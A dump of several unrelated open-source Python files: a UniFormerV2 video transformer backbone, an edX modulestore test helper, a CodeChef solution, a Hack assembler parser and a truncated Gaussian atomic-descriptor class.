OrderedDict([('c_fc', nn.Linear(d_model, d_mlp)),\n                         ('gelu', QuickGELU()),\n                         ('dropout', nn.Dropout(dropout)),\n                         ('c_proj', nn.Linear(d_mlp, d_model))]))\n        self.ln_2 = nn.LayerNorm(d_model)\n        self.ln_3 = nn.LayerNorm(d_model)\n\n        # zero init\n        nn.init.xavier_uniform_(self.attn.in_proj_weight)\n        nn.init.constant_(self.attn.out_proj.weight, 0.)\n        nn.init.constant_(self.attn.out_proj.bias, 0.)\n        nn.init.xavier_uniform_(self.mlp[0].weight)\n        nn.init.constant_(self.mlp[-1].weight, 0.)\n        nn.init.constant_(self.mlp[-1].bias, 0.)\n\n    def attention(self, x: torch.Tensor, y: torch.Tensor) -> torch.Tensor:\n        d_model = self.ln_1.weight.size(0)\n        q = (x @ self.attn.in_proj_weight[:d_model].T\n             ) + self.attn.in_proj_bias[:d_model]\n\n        k = (y @ self.attn.in_proj_weight[d_model:-d_model].T\n             ) + self.attn.in_proj_bias[d_model:-d_model]\n        v = (y @ self.attn.in_proj_weight[-d_model:].T\n             ) + self.attn.in_proj_bias[-d_model:]\n        Tx, Ty, N = q.size(0), k.size(0), q.size(1)\n        q = q.view(Tx, N, self.attn.num_heads,\n                   self.attn.head_dim).permute(1, 2, 0, 3)\n        k = k.view(Ty, N, self.attn.num_heads,\n                   self.attn.head_dim).permute(1, 2, 0, 3)\n        v = v.view(Ty, N, self.attn.num_heads,\n                   self.attn.head_dim).permute(1, 2, 0, 3)\n        aff = (q @ k.transpose(-2, -1) / (self.attn.head_dim**0.5))\n\n        aff = aff.softmax(dim=-1)\n        out = aff @ v\n        out = out.permute(2, 0, 1, 3).flatten(2)\n        out = self.attn.out_proj(out)\n        return out\n\n    def forward(self, x: torch.Tensor, y: torch.Tensor) -> torch.Tensor:\n        x = x + self.drop_path(self.attention(self.ln_1(x), self.ln_3(y)))\n        x = x + self.drop_path(self.mlp(self.ln_2(x)))\n        return x\n\n\nclass Transformer(BaseModule):\n    \"\"\"Backbone:\n\n    Args:\n        width (int): Number of input channels in local UniBlock.\n        layers (int): Number of layers of local UniBlock.\n        heads (int): Number of attention head in local UniBlock.\n        backbone_drop_path_rate (float): Stochastic depth rate\n            in local UniBlock. Defaults to 0.0.\n        t_size (int): Number of temporal dimension after patch embedding.\n            Defaults to 8.\n        dw_reduction (float): Downsample ratio of input channels in local MHRA.\n            Defaults to 1.5.\n        no_lmhra (bool): Whether removing local MHRA in local UniBlock.\n            Defaults to False.\n        double_lmhra (bool): Whether using double local MHRA\n            in local UniBlock. Defaults to True.\n        return_list (List[int]): Layer index of input features\n            for global UniBlock. Defaults to [8, 9, 10, 11].\n        n_dim (int): Number of layers of global UniBlock.\n            Defaults to 4.\n        n_dim (int): Number of layers of global UniBlock.\n            Defaults to 4.\n        n_dim (int): Number of input channels in global UniBlock.\n            Defaults to 768.\n        n_head (int): Number of attention head in global UniBlock.\n            Defaults to 12.\n        mlp_factor (float): Ratio of hidden dimensions in MLP layers\n            in global UniBlock. Defaults to 4.0.\n        drop_path_rate (float): Stochastic depth rate in global UniBlock.\n            Defaults to 0.0.\n        mlp_dropout (List[float]): Stochastic dropout rate in each MLP layer\n            in global UniBlock. Defaults to [0.5, 0.5, 0.5, 0.5].\n        init_cfg (dict, optional): The config of weight initialization.\n            Defaults to None.\n    \"\"\"\n\n    def __init__(\n        self,\n        width: int,\n        layers: int,\n        heads: int,\n        backbone_drop_path_rate: float = 0.,\n        t_size: int = 8,\n        dw_reduction: float = 1.5,\n        no_lmhra: bool = True,\n        double_lmhra: bool = False,\n        return_list: List[int] = [8, 9, 10, 11],\n        n_layers: int = 4,\n        n_dim: int = 768,\n        n_head: int = 12,\n        mlp_factor: float = 4.0,\n        drop_path_rate: float = 0.,\n        mlp_dropout: List[float] = [0.5, 0.5, 0.5, 0.5],\n        init_cfg: Optional[dict] = None,\n    ) -> None:\n        super().__init__(init_cfg=init_cfg)\n\n        self.T = t_size\n        self.return_list = return_list\n        # backbone\n        b_dpr = [\n            x.item()\n            for x in torch.linspace(0, backbone_drop_path_rate, layers)\n        ]\n        self.resblocks = ModuleList([\n            ResidualAttentionBlock(\n                width,\n                heads,\n                drop_path=b_dpr[i],\n                dw_reduction=dw_reduction,\n                no_lmhra=no_lmhra,\n                double_lmhra=double_lmhra,\n            ) for i in range(layers)\n        ])\n\n        # global block\n        assert n_layers == len(return_list)\n        self.temporal_cls_token = nn.Parameter(torch.zeros(1, 1, n_dim))\n        self.dpe = ModuleList([\n            nn.Conv3d(\n                n_dim,\n                n_dim,\n                kernel_size=3,\n                stride=1,\n                padding=1,\n                bias=True,\n                groups=n_dim) for _ in range(n_layers)\n        ])\n        for m in self.dpe:\n            nn.init.constant_(m.bias, 0.)\n        dpr = [x.item() for x in torch.linspace(0, drop_path_rate, n_layers)]\n        self.dec = ModuleList([\n            Extractor(\n                n_dim,\n                n_head,\n                mlp_factor=mlp_factor,\n                dropout=mlp_dropout[i],\n                drop_path=dpr[i],\n            ) for i in range(n_layers)\n        ])\n        # weight sum\n        self.norm = nn.LayerNorm(n_dim)\n        self.balance = nn.Parameter(torch.zeros((n_dim)))\n        self.sigmoid = nn.Sigmoid()\n\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        T_down = self.T\n        L, NT, C = x.shape\n        N = NT // T_down\n        H = W = int((L - 1)**0.5)\n        cls_token = self.temporal_cls_token.repeat(1, N, 1)\n\n        j = -1\n        for i, resblock in enumerate(self.resblocks):\n            x = resblock(x, T_down)\n            if i in self.return_list:\n                j += 1\n                tmp_x = x.clone()\n                tmp_x = tmp_x.view(L, N, T_down, C)\n                # dpe\n                _, tmp_feats = tmp_x[:1], tmp_x[1:]\n                tmp_feats = tmp_feats.permute(1, 3, 2,\n                                              0).reshape(N, C, T_down, H, W)\n                tmp_feats = self.dpe[j](tmp_feats.clone()).view(\n                    N, C, T_down, L - 1).permute(3, 0, 2, 1).contiguous()\n                tmp_x[1:] = tmp_x[1:] + tmp_feats\n                # global block\n                tmp_x = tmp_x.permute(2, 0, 1, 3).flatten(0, 1)  # T * L, N, C\n                cls_token = self.dec[j](cls_token, tmp_x)\n\n        weight = self.sigmoid(self.balance)\n        residual = x.view(L, N, T_down, C)[0].mean(1)  # L, N, T, C\n        out = self.norm((1 - weight) * cls_token[0, :, :] + weight * residual)\n        return out\n\n\n@MODELS.register_module()\nclass UniFormerV2(BaseModule):\n    \"\"\"UniFormerV2:\n\n    A pytorch implement of: `UniFormerV2: Spatiotemporal\n    Learning by Arming Image ViTs with Video UniFormer\n    <https://arxiv.org/abs/2211.09552>`\n\n    Args:\n        input_resolution (int): Number of input resolution.\n            Defaults to 224.\n        patch_size (int): Number of patch size.\n            Defaults to 16.\n        width (int): Number of input channels in local UniBlock.\n            Defaults to 768.\n        layers (int): Number of layers of local UniBlock.\n            Defaults to 12.\n        heads (int): Number of attention head in local UniBlock.\n            Defaults to 12.\n        backbone_drop_path_rate (float): Stochastic depth rate\n            in local UniBlock. Defaults to 0.0.\n        t_size (int): Number of temporal dimension after patch embedding.\n            Defaults to 8.\n        temporal_downsample (bool): Whether downsampling temporal dimentison.\n            Defaults to False.\n        dw_reduction (float): Downsample ratio of input channels in local MHRA.\n            Defaults to 1.5.\n        no_lmhra (bool): Whether removing local MHRA in local UniBlock.\n            Defaults to False.\n        double_lmhra (bool): Whether using double local MHRA in local UniBlock.\n            Defaults to True.\n        return_list (List[int]): Layer index of input features\n            for global UniBlock. Defaults to [8, 9, 10, 11].\n        n_dim (int): Number of layers of global UniBlock.\n            Defaults to 4.\n        n_dim (int): Number of layers of global UniBlock.\n            Defaults to 4.\n        n_dim (int): Number of input channels in global UniBlock.\n            Defaults to 768.\n        n_head (int): Number of attention head in global UniBlock.\n            Defaults to 12.\n        mlp_factor (float): Ratio of hidden dimensions in MLP layers\n            in global UniBlock. Defaults to 4.0.\n        drop_path_rate (float): Stochastic depth rate in global UniBlock.\n            Defaults to 0.0.\n        mlp_dropout (List[float]): Stochastic dropout rate in each MLP layer\n            in global UniBlock. Defaults to [0.5, 0.5, 0.5, 0.5].\n        clip_pretrained (bool): Whether to load pretrained CLIP visual encoder.\n            Defaults to True.\n        pretrained (str): Name of pretrained model.\n            Defaults to None.\n        init_cfg (dict or list[dict]): Initialization config dict. Defaults to\n            ``[\n            dict(type='TruncNormal', layer='Linear', std=0.02, bias=0.),\n            dict(type='Constant', layer='LayerNorm', val=1., bias=0.)\n            ]``.\n    \"\"\"\n\n    def __init__(\n        self,\n        # backbone\n        input_resolution: int = 224,\n        patch_size: int = 16,\n        width: int = 768,\n        layers: int = 12,\n        heads: int = 12,\n        backbone_drop_path_rate: float = 0.,\n        t_size: int = 8,\n        kernel_size: int = 3,\n        dw_reduction: float = 1.5,\n        temporal_downsample: bool = False,\n        no_lmhra: bool = True,\n        double_lmhra: bool = False,\n        # global block\n        return_list: List[int] = [8, 9, 10, 11],\n        n_layers: int = 4,\n        n_dim: int = 768,\n        n_head: int = 12,\n        mlp_factor: float = 4.0,\n        drop_path_rate: float = 0.,\n        mlp_dropout: List[float] = [0.5, 0.5, 0.5, 0.5],\n        # pretrain\n        clip_pretrained: bool = True,\n        pretrained: Optional[str] = None,\n        init_cfg: Optional[Union[Dict, List[Dict]]] = [\n            dict(type='TruncNormal', layer='Linear', std=0.02, bias=0.),\n            dict(type='Constant', layer='LayerNorm', val=1., bias=0.)\n        ]\n    ) -> None:\n        super().__init__(init_cfg=init_cfg)\n\n        self.pretrained = pretrained\n        self.clip_pretrained = clip_pretrained\n        self.input_resolution = input_resolution\n        padding = (kernel_size - 1) // 2\n        if temporal_downsample:\n            self.conv1 = nn.Conv3d(\n                3,\n                width, (kernel_size, patch_size, patch_size),\n                (2, patch_size, patch_size), (padding, 0, 0),\n                bias=False)\n            t_size = t_size // 2\n        else:\n            self.conv1 = nn.Conv3d(\n                3,\n                width, (1, patch_size, patch_size),\n                (1, patch_size, patch_size), (0, 0, 0),\n                bias=False)\n\n        scale = width**-0.5\n        self.class_embedding = nn.Parameter(scale * torch.randn(width))\n        self.positional_embedding = nn.Parameter(scale * torch.randn(\n            (input_resolution // patch_size)**2 + 1, width))\n        self.ln_pre = nn.LayerNorm(width)\n\n        self.transformer = Transformer(\n            width,\n            layers,\n            heads,\n            dw_reduction=dw_reduction,\n            backbone_drop_path_rate=backbone_drop_path_rate,\n            t_size=t_size,\n            no_lmhra=no_lmhra,\n            double_lmhra=double_lmhra,\n            return_list=return_list,\n            n_layers=n_layers,\n            n_dim=n_dim,\n            n_head=n_head,\n            mlp_factor=mlp_factor,\n            drop_path_rate=drop_path_rate,\n            mlp_dropout=mlp_dropout,\n        )\n\n    def _inflate_weight(self,\n                        weight_2d: torch.Tensor,\n                        time_dim: int,\n                        center: bool = True) -> torch.Tensor:\n        logger.info(f'Init center: {center}')\n        if center:\n            weight_3d = torch.zeros(*weight_2d.shape)\n            weight_3d = weight_3d.unsqueeze(2).repeat(1, 1, time_dim, 1, 1)\n            middle_idx = time_dim // 2\n            weight_3d[:, :, middle_idx, :, :] = weight_2d\n        else:\n            weight_3d = weight_2d.unsqueeze(2).repeat(1, 1, time_dim, 1, 1)\n            weight_3d = weight_3d / time_dim\n        return weight_3d\n\n    def _load_pretrained(self, pretrained: str = None) -> None:\n        \"\"\"Load CLIP pretrained visual encoder.\n\n        The visual encoder is extracted from CLIP.\n        https://github.com/openai/CLIP\n\n        Args:\n            pretrained (str): Model name of pretrained CLIP visual encoder.\n                Defaults to None.\n        \"\"\"\n        assert pretrained is not None, \\\n            'please specify clip pretraied checkpoint'\n\n        model_path = _MODELS[pretrained]\n        logger.info(f'Load CLIP pretrained model from {model_path}')\n        state_dict = _load_checkpoint(model_path, map_location='cpu')\n        state_dict_3d = self.state_dict()\n        for k in state_dict.keys():\n            if k in state_dict_3d.keys(\n            ) and state_dict[k].shape != state_dict_3d[k].shape:\n                if len(state_dict_3d[k].shape) <= 2:\n                    logger.info(f'Ignore: {k}')\n                    continue\n                logger.info(f'Inflate: {k}, {state_dict[k].shape}' +\n                            f' => {state_dict_3d[k].shape}')\n                time_dim = state_dict_3d[k].shape[2]\n                state_dict[k] = self._inflate_weight(state_dict[k], time_dim)\n        self.load_state_dict(state_dict, strict=False)\n\n    def init_weights(self):\n        \"\"\"Initialize the weights in backbone.\"\"\"\n        if self.clip_pretrained:\n            logger = MMLogger.get_current_instance()\n            logger.info(f'load model from: {self.pretrained}')\n            self._load_pretrained(self.pretrained)\n        else:\n            if self.pretrained:\n                self.init_cfg = dict(\n                    type='Pretrained', checkpoint=self.pretrained)\n            super().init_weights()\n\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        x = self.conv1(x)  # shape = [*, width, grid, grid]\n        N, C, T, H, W = x.shape\n        x = x.permute(0, 2, 3, 4, 1).reshape(N * T, H * W, C)\n\n        x = torch.cat([\n            self.class_embedding.to(x.dtype) + torch.zeros(\n                x.shape[0], 1, x.shape[-1], dtype=x.dtype, device=x.device), x\n        ],\n                      dim=1)  # shape = [*, grid ** 2 + 1, width]\n        x = x + self.positional_embedding.to(x.dtype)\n        x = self.ln_pre(x)\n\n        x = x.permute(1, 0, 2)  # NLD -> LND\n        out = self.transformer(x)\n        return out\n","repo_name":"open-mmlab/mmaction2","sub_path":"mmaction/models/backbones/uniformerv2.py","file_name":"uniformerv2.py","file_ext":"py","file_size_in_byte":22512,"program_lang":"python","lang":"en","doc_type":"code","stars":3560,"dataset":"github-code","pt":"3"}
+{"seq_id":"12618892793","text":"\"\"\"\nDefines a test function, check_has_course_method, useful in various modulestore tests.\n\nThis file should potentially be renamed \"utilties\" since this file contains no tests.\n\"\"\"\n\n\ndef check_has_course_method(modulestore, locator, locator_key_fields):  # lint-amnesty, pylint: disable=missing-function-docstring\n    error_message = \"Called has_course with query {0} and ignore_case is {1}.\"\n\n    for ignore_case in [True, False]:\n\n        # should find the course with exact locator\n        assert modulestore.has_course(locator, ignore_case)\n\n        for key_field in locator_key_fields:\n            if getattr(locator, key_field):\n                locator_changes_that_should_not_be_found = [\n                    # replace value for one of the keys\n                    {key_field: 'fake'},\n                    # add a character at the end\n                    {key_field: getattr(locator, key_field) + 'X'},\n                    # add a character in the beginning\n                    {key_field: 'X' + getattr(locator, key_field)},\n                ]\n                for changes in locator_changes_that_should_not_be_found:\n                    search_locator = locator.replace(**changes)\n                    assert not modulestore.has_course(search_locator), error_message.format(search_locator, ignore_case)\n\n                # test case [in]sensitivity\n                locator_case_changes = [\n                    {key_field: getattr(locator, key_field).upper()},\n                    {key_field: getattr(locator, key_field).capitalize()},\n                    {key_field: getattr(locator, key_field).capitalize().swapcase()},\n                ]\n                for changes in locator_case_changes:\n                    search_locator = locator.replace(**changes)\n                    # if ignore_case is true, the course would be found with a different-cased course locator.\n                    # if ignore_case is false, the course should NOT found given an incorrectly-cased locator.\n                    assert (modulestore.has_course(search_locator, ignore_case) is not None) == ignore_case, \\\n                        error_message.format(search_locator, ignore_case)\n","repo_name":"openedx/edx-platform","sub_path":"xmodule/modulestore/tests/test_modulestore.py","file_name":"test_modulestore.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"}
+{"seq_id":"15960464754","text":"def carvans(ncars,carspeeds):\n    maxspeed = carspeeds[0]\n    count = 0\n    for i in range(1, len(carspeeds)):\n        if carspeeds[i] > maxspeed:\n            count += 1\n        else:\n            maxspeed = carspeeds[i]\n    return ncars - count\n\nif __name__ == '__main__':\n    t = int(input())\n    if 1<=t<=100:\n        while t:\n            t -= 1\n            n = int(input())\n            if 1<=n<=10000:\n                nspeeds = list(map(int, input().split(\" \")))\n                print(carvans(n, nspeeds))\n\n\n","repo_name":"joydipdutta001/pythonProblems","sub_path":"CodeChef/dsa_learning_series/code5-carvans.py","file_name":"code5-carvans.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"24777203281","text":"import re\r\nimport SymbolTable\r\n\r\nBIN_FORMAT = '016b'\r\n\r\nEND = -1\r\n\r\nSTART = 0\r\n\r\nDOT_SEPERATOR = ';'\r\n\r\nEQUALS = '='\r\n\r\nC_INSTRUCTION_OP_CODE = '1'\r\n\r\nSYMBOL_MARKER = '@'\r\n\r\nCLOSE_LABEL = ')'\r\n\r\nOPEN_LABEL = '('\r\n\r\nEMPTY_STRING = \"\"\r\n\r\ncommentPat = re.compile('^[^ /]*')\r\n\r\nComp = {\r\n    \"0\": \"110101010\",\r\n    \"1\": \"110111111\",\r\n    \"-1\": \"110111010\",\r\n    \"-A\": \"110110011\",\r\n    \"D+1\": \"110011111\",\r\n    \"A+1\": \"110110111\",\r\n    \"D-1\": \"110001110\",\r\n    \"A-1\": \"110110010\",\r\n    \"D\": \"110001100\",\r\n    \"A\": \"110110000\",\r\n    \"!D\": \"110001101\",\r\n    \"!A\": \"110110001\",\r\n    \"A-D\": \"110000111\",\r\n    \"D&A\": \"110000000\",\r\n    \"D|A\": \"110010101\",\r\n    \"M\": \"111110000\",\r\n    \"!M\": \"111110001\",\r\n    \"-M\": \"111110011\",\r\n    \"M+1\": \"111110111\",\r\n    \"-D\": \"110001111\",\r\n    \"D+A\": \"110000010\",\r\n    \"D-A\": \"110010011\",\r\n    \"M-1\": \"111110010\",\r\n    \"D+M\": \"111000010\",\r\n    \"D-M\": \"111010011\",\r\n    \"M-D\": \"111000111\",\r\n    \"D&M\": \"111000000\",\r\n    \"D|M\": \"111010101\",\r\n    \"M<<\": \"011100000\",\r\n    \"M>>\": \"011000000\",\r\n    \"D<<\": \"010110000\",\r\n    \"D>>\": \"010010000\",\r\n    \"A<<\": \"010100000\",\r\n    \"A>>\": \"010000000\",\r\n}\r\n\r\nDest = {\r\n    None: \"000\",\r\n    \"null\": \"000\",\r\n    \"M\": \"001\",\r\n    \"D\": \"010\",\r\n    \"A\": \"100\",\r\n    \"MD\": \"011\",\r\n    \"AM\": \"101\",\r\n    \"AD\": \"110\",\r\n    \"AMD\": \"111\"\r\n}\r\n\r\nJump = {\r\n    None: \"000\",\r\n    \"null\": \"000\",\r\n    \"JGT\": \"001\",\r\n    \"JEQ\": \"010\",\r\n    \"JGE\": \"011\",\r\n    \"JLT\": \"100\",\r\n    \"JNE\": \"101\",\r\n    \"JLE\": \"110\",\r\n    \"JMP\": \"111\"\r\n}\r\n\r\n\r\ndef main_loop(lines, symbols):\r\n    \"\"\"\r\n    perform the program second pass, for A and C instruction\r\n    :param lines: assembly lines array without labels, whitespaces\r\n    :param symbols: symbols object\r\n    :return: binary code array\r\n    \"\"\"\r\n    code = []\r\n    for line in lines:\r\n        if line.startswith(SYMBOL_MARKER):  # A instructions\r\n            line = line.strip(SYMBOL_MARKER)\r\n            if line.isdigit():\r\n                code.append(format(int(line), BIN_FORMAT))\r\n            else:\r\n                address = symbols.get_add_variable(line)\r\n                code.append(format(address, BIN_FORMAT))\r\n        else:  # it a C instructions\r\n            if EQUALS in line:\r\n                dest, right = line.split(EQUALS)\r\n                if DOT_SEPERATOR in right:\r\n                    comp, jmp = right.split(DOT_SEPERATOR)\r\n                else:\r\n                    comp = right\r\n                    jmp = None\r\n            else:\r\n                comp, jmp = line.split(DOT_SEPERATOR)\r\n                dest = None\r\n            code.append(C_INSTRUCTION_OP_CODE + Comp[comp] + Dest[dest] + Jump[jmp])\r\n    return code\r\n\r\n\r\ndef clean_lines(file):\r\n    \"\"\"\r\n    get an array of lines and clear the whitespaces and comments\r\n    :param file: assembly lines array\r\n    :return: cleaned assembly lines array\r\n    \"\"\"\r\n    lines = []\r\n    for line in file:\r\n        # check if start with a comment\r\n        line = re.sub(r'\\s+', EMPTY_STRING, line)\r\n        match = commentPat.match(line)\r\n        line = match.group(0)\r\n        if line == EMPTY_STRING:\r\n            continue\r\n        lines.append(line)\r\n    return lines\r\n\r\n\r\ndef parse_labels(file):\r\n    \"\"\"\r\n    extract and remove labels from assembly lines\r\n    :param file: cleaned assembly lines\r\n    :return: symbols object\r\n    \"\"\"\r\n    symbols = SymbolTable.SymDict()\r\n    line_index = 0\r\n    lines = []\r\n    for line in file:\r\n        if (line[START] == OPEN_LABEL) and (line[END] == CLOSE_LABEL):\r\n            symbols.add_label(line[1:-1], line_index)\r\n        else:\r\n            lines.append(line)\r\n            line_index += 1\r\n    return symbols, lines\r\n","repo_name":"lappazos/NAND_Ex_6_Assembler","sub_path":"CodeParser.py","file_name":"CodeParser.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6736505771","text":"import hashlib\r\n\r\nimport numpy as np\r\nfrom scipy import sparse\r\n\r\nfrom ..base_descriptor import BaseDescriptor\r\nfrom ..constants import ATOM_SYMBOL_TO_INDEX_DICT\r\nfrom ..util import _gen_2Darray_for_ffi, list_symbols_to_indices\r\nfrom ._libsymf import ffi, lib\r\nfrom .descriptor_set import GaussianDescriptorSet\r\n\r\n\r\nGDS = GaussianDescriptorSet  # so Flake8 allows the commit to proceed, also an easy-access-acronym!\r\n\r\n\r\nclass Gaussian(BaseDescriptor):\r\n    def __init__(self, Gs, elements, cutoff_func=\"cosine\", gamma=None):\r\n        super().__init__()\r\n        self.descriptor_type = \"Gaussian\"\r\n        self.Gs = Gs\r\n        self.elements = list(elements)\r\n        self.cutoff_func = cutoff_func.lower()\r\n        if self.cutoff_func not in [\"cosine\", \"polynomial\"]:\r\n            raise ValueError('cutoff function must be either \"cosine\" or \"polynomial\"')\r\n        if self.cutoff_func == \"polynomial\":\r\n            if gamma is None:\r\n                raise ValueError(\r\n                    \"polynomial cutoff function requires float value > 0. of `gamma`\"\r\n                )\r\n            elif gamma <= 0.0:\r\n                raise ValueError(\"polynomial cutoff function gamma must be > 0.\")\r\n        self.gamma = gamma\r\n        self.element_indices = list_symbols_to_indices(elements)\r\n\r\n        self.prepare_descriptor_parameters()\r\n        self.get_descriptor_setup_hash()\r\n\r\n    def prepare_descriptor_parameters(self):\r\n        if isinstance(self.Gs, dict):\r\n            self.descriptor_setup = {}\r\n            for element in self.elements:\r\n                if element in self.Gs:\r\n                    self.descriptor_setup[\r\n                        element\r\n                    ] = self._prepare_descriptor_parameters_element(\r\n                        self.Gs[element], self.element_indices\r\n                    )\r\n                elif \"default\" in self.Gs:\r\n                    self.descriptor_setup[\r\n                        element\r\n                    ] = self._prepare_descriptor_parameters_element(\r\n                        self.Gs[\"default\"], self.element_indices\r\n                    )\r\n                else:\r\n                    raise NotImplementedError(\r\n                        \"Symmetry function parameters not defined properly\"\r\n                    )\r\n        elif hasattr(self.Gs, \"descriptor_setup\"):\r\n            self.descriptor_setup = self.Gs.descriptor_setup\r\n        else:\r\n            raise ValueError(\r\n                \"Gs must be a dict with descriptor params or a GaussianDescriptorSet object: passed was a (%s)\"\r\n                % type(self.Gs)\r\n            )\r\n        self.params_set = dict()\r\n        for element in self.elements:\r\n            element_index = ATOM_SYMBOL_TO_INDEX_DICT[element]\r\n            self.params_set[element_index] = dict()\r\n            params_i = np.asarray(\r\n                self.descriptor_setup[element][:, :3].copy(), dtype=np.intc, order=\"C\"\r\n            )\r\n            params_d = np.asarray(\r\n                self.descriptor_setup[element][:, 3:].copy(),\r\n                dtype=np.float64,\r\n                order=\"C\",\r\n            )\r\n            self.params_set[element_index][\"i\"] = params_i\r\n            self.params_set[element_index][\"d\"] = params_d\r\n            self.params_set[element_index][\"ip\"] = _gen_2Darray_for_ffi(\r\n                self.params_set[element_index][\"i\"], ffi, \"int\"\r\n            )\r\n            self.params_set[element_index][\"dp\"] = _gen_2Darray_for_ffi(\r\n                self.params_set[element_index][\"d\"], ffi\r\n            )\r\n            self.params_set[element_index][\"total\"] = np.concatenate(\r\n                (\r\n                    self.params_set[element_index][\"i\"],\r\n                    self.params_set[element_index][\"d\"],\r\n                ),\r\n                axis=1,\r\n            )\r\n            self.params_set[element_index][\"num\"] = len(self.descriptor_setup[element])\r\n\r\n        return\r\n\r\n    def _prepare_descriptor_parameters_element(self, Gs, element_indices):\r\n        descriptor_setup = {\"G2\": set(), \"G4\": set(), \"G5\": set()}\r\n        cutoff = Gs[\"cutoff\"]\r\n        if \"G2\" in Gs:\r\n            descriptor_setup[\"G2\"].update(\r\n                [\r\n                    (2, element1, 0, cutoff, eta, rs, 0.0)\r\n                    for eta in np.array(Gs[\"G2\"][\"etas\"]) / cutoff ** 2\r\n                    for rs in Gs[\"G2\"][\"rs_s\"]\r\n                    for element1 in element_indices\r\n                ]\r\n            )\r\n\r\n        if \"G4\" in Gs:\r\n            descriptor_setup[\"G4\"].update(\r\n                [\r\n                    (\r\n                        4,\r\n                        element_indices[i],\r\n                        element_indices[j],\r\n                        cutoff,\r\n                        eta,\r\n                        zeta,\r\n                        gamma,\r\n                    )\r\n                    for eta in (np.array(Gs[\"G4\"][\"etas\"]) / cutoff ** 2)\r\n                    for zeta in Gs[\"G4\"][\"zetas\"]\r\n                    for gamma in Gs[\"G4\"][\"gammas\"]\r\n                    for i in range(len(element_indices))\r\n                    for j in range(i, len(element_indices))\r\n                ]\r\n            )\r\n\r\n        if \"G5\" in Gs:\r\n            descriptor_setup[\"G5\"].update(\r\n                [\r\n                    (\r\n                        5,\r\n                        element_indices[i],\r\n                        element_indices[j],\r\n                        cutoff,\r\n                        eta,\r\n                        zeta,\r\n                        gamma,\r\n                    )\r\n                    for eta in Gs[\"G5\"][\"etas\"]\r\n                    for zeta in Gs[\"G5\"][\"zetas\"]\r\n                    for gamma in Gs[\"G5\"][\"gammas\"]\r\n                    for i in range(len(element_indices))\r\n                    for j in range(i, len(element_indices))\r\n                ]\r\n            )\r\n        g2s, g4s, g5s = (\r\n            descriptor_setup[\"G2\"],\r\n            descriptor_setup[\"G4\"],\r\n            descriptor_setup[\"G5\"],\r\n        )\r\n        g2s = [list(params) for params in sorted(g2s)]\r\n        g4s = [list(params) for params in sorted(g4s)]\r\n        g5s = [list(params) for params in sorted(g5s)]\r\n        descriptor_setup = np.array(g2s + g4s + g5s)\r\n        return descriptor_setup\r\n\r\n    def get_descriptor_setup_hash(self):\r\n        if isinstance(self.Gs, dict):\r\n            string = (\r\n                \"cosine\"\r\n                if self.cutoff_func == \"cosine\"\r\n                else \"polynomial%.15f\" % self.gamma\r\n            )\r\n            for element in self.descriptor_setup.keys():\r\n                string += element\r\n                for desc in self.descriptor_setup[element]:\r\n                    for num in desc:\r\n                        string += \"%.15f\" % num\r\n            md5 = hashlib.md5(string.encode(\"utf-8\"))\r\n            hash_result = md5.hexdigest()\r\n            self.descriptor_setup_hash = hash_result\r\n        elif hasattr(self.Gs, \"descriptor_setup_hash\"):\r\n            self.descriptor_setup_hash = self.Gs.descriptor_setup_hash\r\n        else:\r\n            raise ValueError(\r\n                \"Gs must be a dict with descriptor params or a GaussianDescriptorSet object: passed was a (%s)\"\r\n                % type(self.Gs)\r\n            )\r\n\r\n    def save_descriptor_setup(self, filename):\r\n        with open(filename, \"w\") as out_file:\r\n            for element in self.descriptor_setup.keys():\r\n                out_file.write(\r\n                    \"===========\\nElement: {} \\t num_desc: {}\\n\".format(\r\n                        element, len(self.descriptor_setup[element])\r\n                    )\r\n                )\r\n                for desc in self.descriptor_setup[element]:\r\n                    out_file.write(\r\n                        \"{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n\".format(\r\n                            int(desc[0]),\r\n                            int(desc[1]),\r\n                            int(desc[2]),\r\n                            desc[3],\r\n                            desc[4],\r\n                            desc[5],\r\n                            desc[6],\r\n                        )\r\n                    )\r\n\r\n    def calculate_fingerprints(self, atoms, element, calc_derivatives, log):\r\n        element_index = ATOM_SYMBOL_TO_INDEX_DICT[element]\r\n\r\n        symbols = np.array(atoms.get_chemical_symbols())\r\n        atom_num = len(symbols)\r\n        atom_indices = list_symbols_to_indices(symbols)\r\n        unique_atom_indices = np.unique(atom_indices)\r\n\r\n        type_num = dict()\r\n        type_idx = dict()\r\n\r\n        for atom_index in unique_atom_indices:\r\n            tmp = atom_indices == atom_index\r\n            type_num[atom_index] = np.sum(tmp).astype(np.int64)\r\n            # if atom indexs are sorted by atom type,\r\n            # indexs are sorted in this part.\r\n            # if not, it could generate bug in training process for force training\r\n            type_idx[atom_index] = np.arange(atom_num)[tmp]\r\n\r\n        atom_indices_p = ffi.cast(\"int *\", atom_indices.ctypes.data)\r\n\r\n        cart = np.copy(atoms.get_positions(wrap=True), order=\"C\")\r\n        scale = np.copy(atoms.get_scaled_positions(), order=\"C\")\r\n        cell = np.copy(atoms.cell, order=\"C\")\r\n        pbc = np.copy(atoms.get_pbc()).astype(np.intc)\r\n\r\n        cart_p = _gen_2Darray_for_ffi(cart, ffi)\r\n        scale_p = _gen_2Darray_for_ffi(scale, ffi)\r\n        cell_p = _gen_2Darray_for_ffi(cell, ffi)\r\n        pbc_p = ffi.cast(\"int *\", pbc.ctypes.data)\r\n\r\n        cal_atoms = np.asarray(type_idx[element_index], dtype=np.intc, order=\"C\")\r\n        cal_num = len(cal_atoms)\r\n        cal_atoms_p = ffi.cast(\"int *\", cal_atoms.ctypes.data)\r\n\r\n        size_info = np.array([atom_num, cal_num, self.params_set[element_index][\"num\"]])\r\n\r\n        if calc_derivatives:\r\n            x = np.zeros(\r\n                [cal_num, self.params_set[element_index][\"num\"]],\r\n                dtype=np.float64,\r\n                order=\"C\",\r\n            )\r\n            dx = np.zeros(\r\n                [cal_num * self.params_set[element_index][\"num\"], atom_num * 3],\r\n                dtype=np.float64,\r\n                order=\"C\",\r\n            )\r\n\r\n            x_p = _gen_2Darray_for_ffi(x, ffi)\r\n            dx_p = _gen_2Darray_for_ffi(dx, 